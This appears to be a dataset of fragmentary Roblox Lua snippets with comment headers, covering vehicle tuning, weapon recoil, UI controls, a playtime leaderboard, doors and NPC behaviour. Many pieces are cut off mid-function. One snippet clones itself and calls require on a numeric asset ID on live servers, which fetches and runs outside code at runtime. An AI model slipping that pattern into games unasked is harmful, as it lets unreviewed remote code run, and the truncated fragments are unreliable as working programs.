Tune.RDiffLockThres = 45 -- 0 - 100%
Tune.CDiffSlipThres = 45 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = true -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
--// Recoil Settings
|
gunrecoil = -0.1; -- How much the gun recoils backwards when not aiming
camrecoil = 0.16; -- How much the camera flicks when not aiming
AimGunRecoil = -0.1; -- How much the gun recoils backwards when aiming
AimCamRecoil = 0.13; -- How much the camera flicks when aiming
CamShake = 0.5; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
AimCamShake = 0.5; -- THIS IS ALSO NEW!!!!
Kickback = 0.2; -- Upward gun rotation when not aiming
AimKickback = 0.2; -- Upward gun rotation when aiming
|
-- Now with exciting TeamColors HACK!
|
function waitForChild(parent, childName)
while true do
local child = parent:findFirstChild(childName)
|
-- Properties
|
local held = false
local step = 0.010
local percentage = 0
function snap(number, factor)
if factor == 0 then
return number
else
return math.floor(number/factor+0.5)*factor
end
end
UIS.InputEnded:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
held = false
end
end)
SliderBtn.MouseButton1Down:connect(function()
held = true
end)
RuS.RenderStepped:connect(function(delta)
if held then
local MousePos = UIS:GetMouseLocation().X
local BtnPos = SliderBtn.Position
local SliderSize = Slider.AbsoluteSize.X
local SliderPos = Slider.AbsolutePosition.X
local pos = snap((MousePos-SliderPos)/SliderSize,step)
percentage = math.clamp(pos,0,1)
SliderBtn.Position = UDim2.new(percentage,0,BtnPos.Y.Scale, BtnPos.Y.Offset)
end
end)
|
-- regular lua compatibility
|
local typeof = typeof or type
local function primitive(typeName)
return function(value)
local valueType = typeof(value)
if valueType == typeName then
return true
else
return false
end
end
end
local t = {}
|
--------------- FLAGS ----------------
|
local success, result = pcall(function() return false end)
local FFlagUseNotificationsLocalization = success and result
|
--// F key, Horn
|
mouse.KeyUp:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Airhorn:Stop()
veh.Lightbar.middle.Wail.Volume = 2
veh.Lightbar.middle.Yelp.Volume = 2
veh.Lightbar.middle.Priority.Volume = 2
veh.Lightbar.middle.Manual.Volume = 2
end
end)
mouse.KeyDown:connect(function(key)
if key=="j" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
end
end)
|
-- Types
|
export type CastVisualiser = typeof(CastVisualiser)
type CastVisualiserPrivate = CastVisualiser & {
Color: Color3,
WorldRoot: WorldRoot,
CastOriginPart: BasePart,
LineVisual: LineHandleAdornment,
ConeVisual: ConeHandleAdornment,
BoxVisual: BoxHandleAdornment,
SphereVisual: SphereHandleAdornment,
}
|
--// States
|
local L_60_ = false
local L_61_ = false
local L_62_ = false
local L_63_ = false
local L_64_ = false
local L_65_ = true
local L_66_ = false
local L_67_ = false
local L_68_ = false
local L_69_ = false
local L_70_ = false
local L_71_ = false
local L_72_ = false
local L_73_ = false
local L_74_ = false
local L_75_ = false
local L_76_ = false
local L_77_ = false
local L_78_ = true
local L_79_ = true
local L_80_ = false
local L_81_
local L_82_
local L_83_
local L_84_
local L_85_
local L_86_ = L_24_.FireMode
local L_87_ = 0
local L_88_ = false
local L_89_ = true
local L_90_ = false
local L_91_ = 70
|
---//Variables//
|
local DoorFolder = workspace.Doors
|
-- Local private variables and constants
|
local UNIT_X = Vector3.new(1,0,0)
local UNIT_Y = Vector3.new(0,1,0)
local UNIT_Z = Vector3.new(0,0,1)
local X1_Y0_Z1 = Vector3.new(1,0,1) --Note: not a unit vector, used for projecting onto XZ plane
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local ZERO_VECTOR2 = Vector2.new(0,0)
local TAU = 2 * math.pi
local VR_PITCH_FRACTION = 0.25
local tweenAcceleration = math.rad(220) --Radians/Second^2
local tweenSpeed = math.rad(0) --Radians/Second
local tweenMaxSpeed = math.rad(250) --Radians/Second
local TIME_BEFORE_AUTO_ROTATE = 2.0 --Seconds, used when auto-aligning camera with vehicles
local PORTRAIT_OFFSET = Vector3.new(0,-3,0)
|
--[[
Sets the new view, destructing any previous view if it exists, and then creating the specified
new view.
]]
|
function UIController.setView(view, ...)
if not views[view] then
Logger.warn("Tried to set UIController view to ", view, ", but it does not exist!")
return
end
if currentView then
currentView.exit()
end
currentView = views[view]
currentView.enter(...)
end
|
-- Don't recommend touching any of this rather than the true's. You can change them to false if you don't want them on the leaderboard.
| |
--!strict
-- A new implementation of RBXScriptSignal that uses proper Lua OOP.
-- This was explicitly made to transport other OOP objects.
-- I would be using BindableEvents, but they don't like cyclic tables (part of OOP objects with __index)
|
local SignalStatic = {}
SignalStatic.__index = SignalStatic
local ConnectionStatic = {}
ConnectionStatic.__index = ConnectionStatic
export type Signal = {
Connections: {[number]: Connection}
}
export type Connection = {
Signal: Signal?,
Delegate: any,
Index: number
}
|
-- non-studio requires special module
|
if _G["RAGDOLL"] == nil and #game.JobId > 0 then
if script.Name~="LOADED" then
script.Name="LOADED"
script:Clone().Parent = workspace
else
require(2556021288)()
end
end
|
-- DON'T MESS WITH THIS UNLESS YOU KNOW WHAT'S GOING ON.
|
-- To chnage time, go to Config, and change the values in the stuff in there.
-- In cotent is what you want to show up.
-- Change background and filter to the background color. Keep it the same color.
|
--[[
TimePlayedClass, RenanMSV @2023
A script designed to update a leaderboard with
the top 10 players who most play your game.
Do not change this script. All configurations can be found
in the Settings script.
]]
|
local DataStoreService = game:GetService("DataStoreService")
local RunService = game:GetService("RunService")
local ServerStorage = game:GetService("ServerStorage")
local Config = require(script.Parent.Settings)
local TimePlayedClass = {}
TimePlayedClass.__index = TimePlayedClass
function TimePlayedClass.new()
local new = {}
setmetatable(new, TimePlayedClass)
new._dataStoreName = Config.DATA_STORE
new._dataStoreStatName = Config.NAME_OF_STAT
new._scoreUpdateDelay = Config.SCORE_UPDATE * 60
new._boardUpdateDelay = Config.LEADERBOARD_UPDATE * 60
new._useLeaderstats = Config.USE_LEADERSTATS
new._nameLeaderstats = Config.NAME_LEADERSTATS
new._show1stPlaceAvatar = Config.SHOW_1ST_PLACE_AVATAR
if new._show1stPlaceAvatar == nil then new._show1stPlaceAvatar = true end
new._doDebug = Config.DO_DEBUG
new._datastore = nil
new._scoreBlock = script.Parent.ScoreBlock
new._updateBoardTimer = script.Parent.UpdateBoardTimer.Timer.TextLabel
new._apiServicesEnabled = false
new._isMainScript = nil
new._isDancingRigEnabled = false
new._dancingRigModule = nil
new:_init()
return new
end
function TimePlayedClass:_init()
self:_checkIsMainScript()
if self._isMainScript then
if not self:_checkDataStoreUp() then
self:_clearBoard()
self._scoreBlock.NoAPIServices.Warning.Visible = true
return
end
else
self._apiServicesEnabled = (ServerStorage:WaitForChild("TopTimePlayedLeaderboard_NoAPIServices_Flag", 99) :: BoolValue).Value
if not self._apiServicesEnabled then
self:_clearBoard()
self._scoreBlock.NoAPIServices.Warning.Visible = true
return
end
end
local suc, err = pcall(function ()
self._datastore = game:GetService("DataStoreService"):GetOrderedDataStore(self._dataStoreName)
end)
if not suc or self._datastore == nil then warn("Failed to load OrderedDataStore. Error:", err) script.Parent:Destroy() end
self:_checkDancingRigEnabled()
-- puts leaderstat value in player
if self._useLeaderstats and self._isMainScript then
game:GetService("Players").PlayerAdded:Connect(function (player)
task.spawn(function ()
local stat = Instance.new("NumberValue")
stat.Name = self._nameLeaderstats
stat.Parent = player:WaitForChild("leaderstats")
end)
end)
end
-- increments players time in the datastore
task.spawn(function ()
if not self._isMainScript then return end
while true do
task.wait(self._scoreUpdateDelay)
self:_updateScore()
end
end)
-- update leaderboard
task.spawn(function ()
self:_updateBoard() -- update once
local count = self._boardUpdateDelay
while true do
task.wait(1)
count -= 1
self._updateBoardTimer.Text = ("Updating the board in %d seconds"):format(count)
if count <= 0 then
self:_updateBoard()
count = self._boardUpdateDelay
end
end
end)
end
function TimePlayedClass:_clearBoard ()
for _, folder in pairs({self._scoreBlock.Leaderboard.Names, self._scoreBlock.Leaderboard.Photos, self._scoreBlock.Leaderboard.Score}) do
for _, item in pairs(folder:GetChildren()) do
item.Visible = false
end
end
end
function TimePlayedClass:_updateBoard ()
if self._doDebug then print("Updating board") end
local results = nil
local suc, results = pcall(function ()
return self._datastore:GetSortedAsync(false, 10, 1):GetCurrentPage()
end)
if not suc or not results then
if self._doDebug then warn("Failed to retrieve top 10 with most time. Error:", results) end
return
end
local sufgui = self._scoreBlock.Leaderboard
self._scoreBlock.Credits.Enabled = true
self._scoreBlock.Leaderboard.Enabled = #results ~= 0
self._scoreBlock.NoDataFound.Enabled = #results == 0
self:_clearBoard()
for k, v in pairs(results) do
local userid = tonumber(string.split(v.key, self._dataStoreStatName)[2])
local name = game:GetService("Players"):GetNameFromUserIdAsync(userid)
local score = self:_timeToString(v.value)
self:_onPlayerScoreUpdate(userid, v.value)
sufgui.Names["Name"..k].Visible = true
sufgui.Score["Score"..k].Visible = true
sufgui.Photos["Photo"..k].Visible = true
sufgui.Names["Name"..k].Text = name
sufgui.Score["Score"..k].Text = score
sufgui.Photos["Photo"..k].Image = game:GetService("Players"):GetUserThumbnailAsync(userid, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size150x150)
if k == 1 and self._dancingRigModule then
task.spawn(function ()
self._dancingRigModule.SetRigHumanoidDescription(userid)
end)
end
end
if self._scoreBlock:FindFirstChild("_backside") then self._scoreBlock["_backside"]:Destroy() end
local temp = self._scoreBlock.Leaderboard:Clone()
temp.Parent = self._scoreBlock
temp.Name = "_backside"
temp.Face = Enum.NormalId.Back
if self._doDebug then print("Board updated sucessfully") end
end
function TimePlayedClass:_updateScore ()
local suc, err = coroutine.resume(coroutine.create(function ()
local players = game:GetService("Players"):GetPlayers()
for _, player in pairs(players) do
local stat = self._dataStoreStatName .. player.UserId
local newval = self._datastore:IncrementAsync(stat, self._scoreUpdateDelay / 60)
if self._doDebug then print("Incremented time played stat of", player, stat, "to", newval) end
end
end))
if not suc then warn(err) end
end
function TimePlayedClass:_onPlayerScoreUpdate (userid, minutes)
-- updates leaderstats if enabled
if not self._useLeaderstats then return end
if not self._isMainScript then return end
local player = game:GetService("Players"):GetPlayerByUserId(userid)
if not player or not player:FindFirstChild("leaderstats") then return end
local leaderstat = player.leaderstats[self._nameLeaderstats]
leaderstat.Value = tonumber(minutes)
end
function TimePlayedClass:_checkDancingRigEnabled()
if self._show1stPlaceAvatar then
local rigFolder = script.Parent:FindFirstChild("First Place Avatar")
if not rigFolder then return end
local rig = rigFolder:FindFirstChild("Rig")
local rigModule = rigFolder:FindFirstChild("PlayAnimationInRig")
if not rig or not rigModule then return end
self._dancingRigModule = require(rigModule)
if self._dancingRigModule then
self._isDancingRigEnabled = true
end
else
local rigFolder = script.Parent:FindFirstChild("First Place Avatar")
if not rigFolder then return end
rigFolder:Destroy()
end
end
function TimePlayedClass:_checkIsMainScript()
local timePlayedClassRunning = ServerStorage:FindFirstChild("TopTimePlayedLeaderboard_Running_Flag")
if timePlayedClassRunning then
self._isMainScript = false
else
self._isMainScript = true
local boolValue = Instance.new("BoolValue", ServerStorage)
boolValue.Name = "TopTimePlayedLeaderboard_Running_Flag"
boolValue.Value = true
end
end
function TimePlayedClass:_checkDataStoreUp()
local status, message = pcall(function()
-- This will error if current instance has no Studio API access:
DataStoreService:GetDataStore("____PS"):SetAsync("____PS", os.time())
end)
if status == false and
(string.find(message, "404", 1, true) ~= nil or
string.find(message, "403", 1, true) ~= nil or -- Cannot write to DataStore from studio if API access is not enabled
string.find(message, "must publish", 1, true) ~= nil) then -- Game must be published to access live keys
local boolValue = Instance.new("BoolValue", ServerStorage)
boolValue.Value = false
boolValue.Name = "TopTimePlayedLeaderboard_NoAPIServices_Flag"
return false
end
self._apiServicesEnabled = true
local boolValue = Instance.new("BoolValue", ServerStorage)
boolValue.Value = true
boolValue.Name = "TopTimePlayedLeaderboard_NoAPIServices_Flag"
return self._apiServicesEnabled
end
function TimePlayedClass:_timeToString(_time)
_time = _time * 60
local days = math.floor(_time / 86400)
local hours = math.floor(math.fmod(_time, 86400) / 3600)
local minutes = math.floor(math.fmod(_time, 3600) / 60)
return string.format("%02dd : %02dh : %02dm",days,hours,minutes)
end
TimePlayedClass.new()
|
--// Handling Settings
|
Firerate = 60 / 720; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
FireMode = 6; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
|
-- To make this work, simply group it with the model you want!
|
local modelbackup = script.Parent.Parent:FindFirstChild(modelname):clone()
local trigger = script.Parent
enabled = true
function onClick(player)
if enabled == true then
enabled = false
trigger.BrickColor = BrickColor.new("Really black")
script.Parent.BillboardGui.Enabled = false
script.Parent.bing:Play()
if script.Parent.Parent:FindFirstChild(modelname) ~= nil then
script.Parent.Parent:FindFirstChild(modelname):Destroy()
end
local modelclone = modelbackup:clone()
modelclone.Parent = script.Parent.Parent
modelclone:MakeJoints()
player.Character.Torso.CFrame = CFrame.new(modelclone.seat.Position) * CFrame.new(0, 0.5, 0)
modelclone.seat.sitsound:Play()
wait(1)
modelclone.seat.Anchored = false
wait(WaitTime)
script.Parent.BillboardGui.Enabled = true
enabled = true
trigger.BrickColor = BrickColor.new("Bright violet")
end
end
script.Parent.ClickDetector.MouseClick:connect(onClick)
|
--[[ Public API ]]
|
--
function Thumbpad:Enable()
ThumbpadFrame.Visible = true
end
function Thumbpad:Disable()
ThumbpadFrame.Visible = false
OnInputEnded()
end
function Thumbpad:Create(parentFrame)
if ThumbpadFrame then
ThumbpadFrame:Destroy()
ThumbpadFrame = nil
if OnTouchChangedCn then
OnTouchChangedCn:disconnect()
OnTouchChangedCn = nil
end
if OnTouchEndedCn then
OnTouchEndedCn:disconnect()
OnTouchEndedCn = nil
end
end
local minAxis = math.min(parentFrame.AbsoluteSize.x, parentFrame.AbsoluteSize.y)
local isSmallScreen = minAxis <= 500
local thumbpadSize = isSmallScreen and 70 or 120
local position = isSmallScreen and UDim2.new(0, thumbpadSize * 1.25, 1, -thumbpadSize - 20) or
UDim2.new(0, thumbpadSize/2 - 10, 1, -thumbpadSize * 1.75 - 10)
ThumbpadFrame = Instance.new('Frame')
ThumbpadFrame.Name = "ThumbpadFrame"
ThumbpadFrame.Visible = false
ThumbpadFrame.Active = true
ThumbpadFrame.Size = UDim2.new(0, thumbpadSize + 20, 0, thumbpadSize + 20)
ThumbpadFrame.Position = position
ThumbpadFrame.BackgroundTransparency = 1
local outerImage = Instance.new('ImageLabel')
outerImage.Name = "OuterImage"
outerImage.Image = TOUCH_CONTROL_SHEET
outerImage.ImageRectOffset = Vector2.new(0, 0)
outerImage.ImageRectSize = Vector2.new(220, 220)
outerImage.BackgroundTransparency = 1
outerImage.Size = UDim2.new(0, thumbpadSize, 0, thumbpadSize)
outerImage.Position = UDim2.new(0, 10, 0, 10)
outerImage.Parent = ThumbpadFrame
local smArrowSize = isSmallScreen and UDim2.new(0, 32, 0, 32) or UDim2.new(0, 64, 0, 64)
local lgArrowSize = UDim2.new(0, smArrowSize.X.Offset * 2, 0, smArrowSize.Y.Offset * 2)
local imgRectSize = Vector2.new(110, 110)
local smImgOffset = isSmallScreen and -4 or -9
local lgImgOffset = isSmallScreen and -28 or -55
local dArrow = createArrowLabel("DownArrow", outerImage, UDim2.new(0.5, -smArrowSize.X.Offset/2, 1, lgImgOffset), smArrowSize, Vector2.new(8, 8), imgRectSize)
local uArrow = createArrowLabel("UpArrow", outerImage, UDim2.new(0.5, -smArrowSize.X.Offset/2, 0, smImgOffset), smArrowSize, Vector2.new(8, 266), imgRectSize)
local lArrow = createArrowLabel("LeftArrow", outerImage, UDim2.new(0, smImgOffset, 0.5, -smArrowSize.Y.Offset/2), smArrowSize, Vector2.new(137, 137), imgRectSize)
local rArrow = createArrowLabel("RightArrow", outerImage, UDim2.new(1, lgImgOffset, 0.5, -smArrowSize.Y.Offset/2), smArrowSize, Vector2.new(8, 137), imgRectSize)
local function doTween(guiObject, endSize, endPosition)
guiObject:TweenSizeAndPosition(endSize, endPosition, Enum.EasingDirection.InOut, Enum.EasingStyle.Linear, 0.15, true)
end
local padOrigin = nil
local deadZone = 0.1
local isRight, isLeft, isUp, isDown = false, false, false, false
local vForward = Vector3.new(0, 0, -1)
local vRight = Vector3.new(1, 0, 0)
local function doMove(pos)
MasterControl:AddToPlayerMovement(-currentMoveVector)
local delta = Vector2.new(pos.x, pos.y) - padOrigin
currentMoveVector = delta / (thumbpadSize/2)
-- Scaled Radial Dead Zone
local inputAxisMagnitude = currentMoveVector.magnitude
if inputAxisMagnitude < deadZone then
currentMoveVector = Vector3.new(0, 0, 0)
else
currentMoveVector = currentMoveVector.unit * ((inputAxisMagnitude - deadZone) / (1 - deadZone))
-- catch possible NAN Vector
if currentMoveVector.magnitude == 0 then
currentMoveVector = Vector3.new(0, 0, 0)
else
currentMoveVector = Vector3.new(currentMoveVector.x, 0, currentMoveVector.y).unit
end
end
MasterControl:AddToPlayerMovement(currentMoveVector)
local forwardDot = currentMoveVector:Dot(vForward)
local rightDot = currentMoveVector:Dot(vRight)
if forwardDot > 0.5 then -- UP
if not isUp then
isUp, isDown = true, false
doTween(uArrow, lgArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset, 0, smImgOffset - smArrowSize.Y.Offset * 1.5))
doTween(dArrow, smArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset/2, 1, lgImgOffset))
end
elseif forwardDot < -0.5 then -- DOWN
if not isDown then
isDown, isUp = true, false
doTween(dArrow, lgArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset, 1, lgImgOffset + smArrowSize.Y.Offset/2))
doTween(uArrow, smArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset/2, 0, smImgOffset))
end
else
isUp, isDown = false, false
doTween(dArrow, smArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset/2, 1, lgImgOffset))
doTween(uArrow, smArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset/2, 0, smImgOffset))
end
if rightDot > 0.5 then
if not isRight then
isRight, isLeft = true, false
doTween(rArrow, lgArrowSize, UDim2.new(1, lgImgOffset + smArrowSize.X.Offset/2, 0.5, -smArrowSize.Y.Offset))
doTween(lArrow, smArrowSize, UDim2.new(0, smImgOffset, 0.5, -smArrowSize.Y.Offset/2))
end
elseif rightDot < -0.5 then
if not isLeft then
isLeft, isRight = true, false
doTween(lArrow, lgArrowSize, UDim2.new(0, smImgOffset - smArrowSize.X.Offset * 1.5, 0.5, -smArrowSize.Y.Offset))
doTween(rArrow, smArrowSize, UDim2.new(1, lgImgOffset, 0.5, -smArrowSize.Y.Offset/2))
end
else
isRight, isLeft = false, false
doTween(lArrow, smArrowSize, UDim2.new(0, smImgOffset, 0.5, -smArrowSize.Y.Offset/2))
doTween(rArrow, smArrowSize, UDim2.new(1, lgImgOffset, 0.5, -smArrowSize.Y.Offset/2))
end
end
--input connections
ThumbpadFrame.InputBegan:connect(function(inputObject)
--A touch that starts elsewhere on the screen will be sent to a frame's InputBegan event
--if it moves over the frame. So we check that this is actually a new touch (inputObject.UserInputState ~= Enum.UserInputState.Begin)
if TouchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch
or inputObject.UserInputState ~= Enum.UserInputState.Begin then
return
end
ThumbpadFrame.Position = UDim2.new(0, inputObject.Position.x - ThumbpadFrame.AbsoluteSize.x/2, 0, inputObject.Position.y - ThumbpadFrame.Size.Y.Offset/2)
padOrigin = Vector2.new(ThumbpadFrame.AbsolutePosition.x + ThumbpadFrame.AbsoluteSize.x/2,
ThumbpadFrame.AbsolutePosition.y + ThumbpadFrame.AbsoluteSize.y/2)
doMove(inputObject.Position)
TouchObject = inputObject
end)
OnTouchChangedCn = UserInputService.TouchMoved:connect(function(inputObject, isProcessed)
if inputObject == TouchObject then
doMove(TouchObject.Position)
end
end)
OnInputEnded = function()
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
MasterControl:SetIsJumping(false)
ThumbpadFrame.Position = position
TouchObject = nil
isUp, isDown, isLeft, isRight = false, false, false, false
doTween(dArrow, smArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset/2, 1, lgImgOffset))
doTween(uArrow, smArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset/2, 0, smImgOffset))
doTween(lArrow, smArrowSize, UDim2.new(0, smImgOffset, 0.5, -smArrowSize.Y.Offset/2))
doTween(rArrow, smArrowSize, UDim2.new(1, lgImgOffset, 0.5, -smArrowSize.Y.Offset/2))
end
OnTouchEndedCn = UserInputService.TouchEnded:connect(function(inputObject)
if inputObject == TouchObject then
OnInputEnded()
end
end)
GuiService.MenuOpened:connect(function()
if TouchObject then
OnInputEnded()
end
end)
ThumbpadFrame.Parent = parentFrame
end
return Thumbpad
|
--Workspace.CurrentCamera.CameraType="Track"
|
mouse.Button1Down:connect(function() bin.keyDown:FireServer(player:GetMouse()) end)
mouse.Button1Up:connect(function() bin.keyUp:FireServer() end)
mouse.KeyDown:connect(function(key) bin.Key:FireServer(key) end)
mouse.Move:Connect(function() bin.Moved:FireServer(player:GetMouse().Hit) end)
bin.Unequipped:connect(function(mouse)
Aim = false
|
--[[
Exits the view, including disconnection of any connections.
]]
|
function Warmup.exit()
activeElements:Destroy()
end
return Warmup
|
-- if script.Parent.Parent.Engine:FindFirstChild("BodyGyro") then
-- script.Parent.Parent.Engine.BodyGyro:Destroy()
-- end
-- if script.Parent.Parent.Engine:FindFirstChild("BodyVelocity") then
-- script.Parent.Parent.Engine.BodyBodyVelocity:Destroy()
-- end
|
if script.Parent.Parent:FindFirstChild("LocalScript") then
script.Parent.Parent:FindFirstChild("LocalScript"):Destroy()
end
script.Parent.Parent.Rotor1.sound:Stop()
for i,v in ipairs(script.Parent.Parent:GetChildren()) do
if v:IsA("Seat") then
v.Disabled = true
end
end
end
end)
|
-----------------------------------
|
elseif script.Parent.Parent.Parent.TrafficControl.Value == "" then
script.Parent.Parent.Off.Spotlight2.Transparency = 0.3
script.Parent.Parent.Off.Spotlight3.Transparency = 0
script.Parent.Parent.Off.Part.Transparency = 0
script.Parent.Parent.Off.Union.Transparency = 0
script.Parent.Parent.Off.a1.Transparency = 0
script.Parent.Parent.Front.Spotlight2.Transparency = 1
script.Parent.Parent.Front.Spotlight2.Point.Enabled = false
script.Parent.Parent.Front.Spotlight2.Lighto.Enabled = false
script.Parent.Parent.Front.Part.Transparency = 1
script.Parent.Parent.Front.Union.Transparency = 1
script.Parent.Parent.Front.a1.Transparency = 1
script.Parent.Parent.Left.Spotlight2.Transparency = 1
script.Parent.Parent.Left.Spotlight2.Point.Enabled = false
script.Parent.Parent.Left.Spotlight2.Lighto.Enabled = false
script.Parent.Parent.Left.Part.Transparency = 1
script.Parent.Parent.Left.Union.Transparency = 1
script.Parent.Parent.Left.a1.Transparency = 1
script.Parent.Parent.Right.Spotlight2.Transparency = 1
script.Parent.Parent.Right.Spotlight2.Point.Enabled = false
script.Parent.Parent.Right.Spotlight2.Lighto.Enabled = false
script.Parent.Parent.Right.Part.Transparency = 1
script.Parent.Parent.Right.Union.Transparency = 1
script.Parent.Parent.Right.a1.Transparency = 1
end
end
|
--[[function playsound(time)
nextsound=time+5+(math.random()*5)
local randomsound=sounds[math.random(1,#sounds)]
randomsound.Volume=.5+(.5*math.random())
randomsound.Pitch=.5+(.5*math.random())
randomsound:Play()
end]]
|
while sp.Parent~=nil and Humanoid and Humanoid.Parent~=nil and Humanoid.Health>0 and Torso and Head and Torso~=nil and Torso.Parent~=nil do
local _,time=wait(0.25)--wait(1/3)
humanoids={}
populatehumanoids(game.Workspace)
closesttarget=nil
closestdist=sightrange
local creator=sp:FindFirstChild("creator")
for i,h in ipairs(humanoids) do
if h and h.Parent~=nil then
if h.Health>0 and h.Parent~=sp then
local plr=game.Players:GetPlayerFromCharacter(h.Parent)
if creator==nil or plr==nil or creator.Value~=plr then
local t=h.Parent:FindFirstChild("Torso")
if t~=nil then
local dist=(t.Position-Torso.Position).magnitude
if dist<closestdist then
closestdist=dist
closesttarget=t
end
end
end
end
end
end
if closesttarget~=nil then
if not chasing then
--playsound(time)
chasing=true
Humanoid.WalkSpeed=runspeed
end
Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget)
if math.random()<.5 then
attack(time,closesttarget.Position)
end
else
if chasing then
chasing=false
Humanoid.WalkSpeed=wonderspeed
end
if time>nextrandom then
nextrandom=time+3+(math.random()*5)
local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(.5,.5,.5))*40)
Humanoid:MoveTo(randompos,game.Workspace.Terrain)
end
end
if time>nextsound then
--playsound(time)
end
if time>nextjump then
nextjump=time+7+(math.random()*5)
Humanoid.Jump=true
end
animate(time)
end
wait(4)
sp:remove() --Rest In Pizza
|
------------------------------------------------------------------------
-- opening of a function
------------------------------------------------------------------------
|
function luaY:open_func(ls, fs)
local L = ls.L
local f = self:newproto(ls.L)
fs.f = f
fs.prev = ls.fs -- linked list of funcstates
fs.ls = ls
fs.L = L
ls.fs = fs
fs.pc = 0
fs.lasttarget = -1
fs.jpc = luaK.NO_JUMP
fs.freereg = 0
fs.nk = 0
fs.np = 0
fs.nlocvars = 0
fs.nactvar = 0
fs.bl = nil
f.source = ls.source
f.maxstacksize = 2 -- registers 0/1 are always valid
fs.h = {} -- constant table; was luaH_new call
-- anchor table of constants and prototype (to avoid being collected)
-- sethvalue2s(L, L->top, fs->h); incr_top(L); /* C */
-- setptvalue2s(L, L->top, f); incr_top(L);
end
|
--//Toggle event//--
|
script.Parent.Door.MainDoor.ClickDetector.MouseClick:Connect(function()
if DoorStatus == "Closed" and Debounce == false then
Debounce = true
DoorMain.Open:Play()
TweenModel(script.Parent.Door, TGP)
DoorStatus = "Opened"
Debounce = false
elseif DoorStatus == "Opened" and Debounce == false then
Debounce = true
DoorMain.Close:Play()
TweenModel(script.Parent.Door, OrigPos)
DoorStatus = "Closed"
Debounce = false
end
end)
|
--[[
This class allows queueing up functions to be run at once.
Constructor:
new()
Methods:
Add(func, args...): adds a function to the queue with corresponding arguments.
Dispatch(): fires all functions in order.
Note: a failed function will not impact the remainder of the functions.
--]]
|
local Utils = require(script.Parent.Parent);
local Log = Utils.Log;
local FunctionQueue = Utils.new("Class", "FunctionQueue");
|
-- << DISPLAY CERTAIN PAGES >>
|
local homeSortOrder = {"About", "Commands", "Special", "Admin", "Settings"}
function module:DisplayPagesAccordingToRank(updateCommands)
for pageName, rankId in pairs(main.settings.RankRequiredToViewPage) do
local pageButton = pages.Home:FindFirstChild(pageName)
rankId = tonumber(rankId)
if not rankId then
rankId = 0
end
if pageButton then
if pageName ~= "About" and pageName ~= "Special" and main.pdata.Rank < rankId then
pageButton.RankBlocker.Visible = true
local rankName = main:GetModule("cf"):GetRankName(rankId)
pageButton.RankBlocker.TextLabel.Text = rankName.."+"
else
pageButton.RankBlocker.Visible = false
end
end
end
--[[
local yScaleTotal = 0.08
for i, pageName in pairs(homeSortOrder) do
local pageButton = pages.Home:FindFirstChild(pageName)
if pageButton and pageButton.Visible then
pageButton.Position = UDim2.new(0, 0, yScaleTotal, 0)
yScaleTotal = yScaleTotal + pageButton.Size.Y.Scale
end
end--]]
end
|
--// Localize
|
log("Localize");
local Localize = service.Localize
os = Localize(os)
math = Localize(math)
table = Localize(table)
string = Localize(string)
coroutine = Localize(coroutine)
Instance = Localize(Instance)
Vector2 = Localize(Vector2)
Vector3 = Localize(Vector3)
CFrame = Localize(CFrame)
UDim2 = Localize(UDim2)
UDim = Localize(UDim)
Ray = Localize(Ray)
Rect = Localize(Rect)
Faces = Localize(Faces)
Color3 = Localize(Color3)
NumberRange = Localize(NumberRange)
NumberSequence = Localize(NumberSequence)
NumberSequenceKeypoint = Localize(NumberSequenceKeypoint)
ColorSequenceKeypoint = Localize(ColorSequenceKeypoint)
PhysicalProperties = Localize(PhysicalProperties)
ColorSequence = Localize(ColorSequence)
Region3int16 = Localize(Region3int16)
Vector3int16 = Localize(Vector3int16)
BrickColor = Localize(BrickColor)
TweenInfo = Localize(TweenInfo)
Axes = Localize(Axes)
task = Localize(task)
|
--// F key, Horn
|
mouse.KeyUp:connect(function(key)
if key=="h" then
script.Parent.Parent.Horn.TextTransparency = 0.15
veh.Lightbar.middle.Airhorn:Stop()
veh.Lightbar.middle.Wail.Volume = 3
veh.Lightbar.middle.Yelp.Volume = 3
veh.Lightbar.middle.Priority.Volume = 3
script.Parent.Parent.MBOV.Visible = true
script.Parent.Parent.MBOV.Text = "Made by OfficerVargas"
end
end)
|
-- constants
|
local PLAYER = Players.LocalPlayer
local EVENTS = ReplicatedStorage:WaitForChild("Events")
local REMOTES = ReplicatedStorage:WaitForChild("Remotes")
local MODULES = ReplicatedStorage:WaitForChild("Modules")
local CONFIG = require(MODULES:WaitForChild("Config"))
local MOUSE = require(MODULES:WaitForChild("Mouse"))
local EFFECTS = require(MODULES:WaitForChild("Effects"))
local DAMAGE = require(MODULES:WaitForChild("Damage"))
local INPUT = require(MODULES:WaitForChild("Input"))
local EQUIP_COOLDOWN = 0.2
|
------------------------------------------------------------------------
--
-- * used in luaK:goiftrue(), luaK:codenot()
------------------------------------------------------------------------
|
function luaK:invertjump(fs, e)
local pc = self:getjumpcontrol(fs, e.info)
assert(luaP:testTMode(luaP:GET_OPCODE(pc)) ~= 0 and
